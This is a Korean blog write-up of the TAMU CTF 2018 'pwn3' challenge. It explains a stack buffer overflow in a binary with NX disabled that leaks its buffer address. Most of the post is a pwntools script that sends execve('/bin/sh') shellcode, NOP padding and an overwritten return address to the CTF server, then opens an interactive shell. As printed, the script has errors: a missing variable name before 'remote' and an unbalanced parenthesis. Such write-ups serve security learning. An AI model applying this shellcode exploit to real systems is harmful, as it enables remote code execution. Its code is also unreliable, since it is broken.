Pwnable/write up

[TAMU ctf 2018] pwn3

xxvd 2018. 5. 17. 01:15


NX 안 걸려있네욥,,



                                                                     main 에서 echo 실행하고,                                                                                                                            



echo에서 pwn2번 문제랑 비슷하게 s에 입력받습니다. 근데 이번엔 s의 주소를 출력해주네요?


그럼 shellcode+dummy로 ret까지 덮고 ret을 s의 주소로 덮으면 될 것 같네요!




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= remote("pwn.ctf.tamu.edu",4323)
 
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
s.recvuntil("number ")
 
s_addr = int(s.recv(10),0)
 
print hex(s_addr)
 
payload=""
payload+=SHELLCODE
payload+="\x90"*(0xEE - len(SHELLCODE) +4+ p32(s_addr)
 
s.sendlineafter("echo? ",payload)
 
sleep(0.5)
 
s.interactive()
cs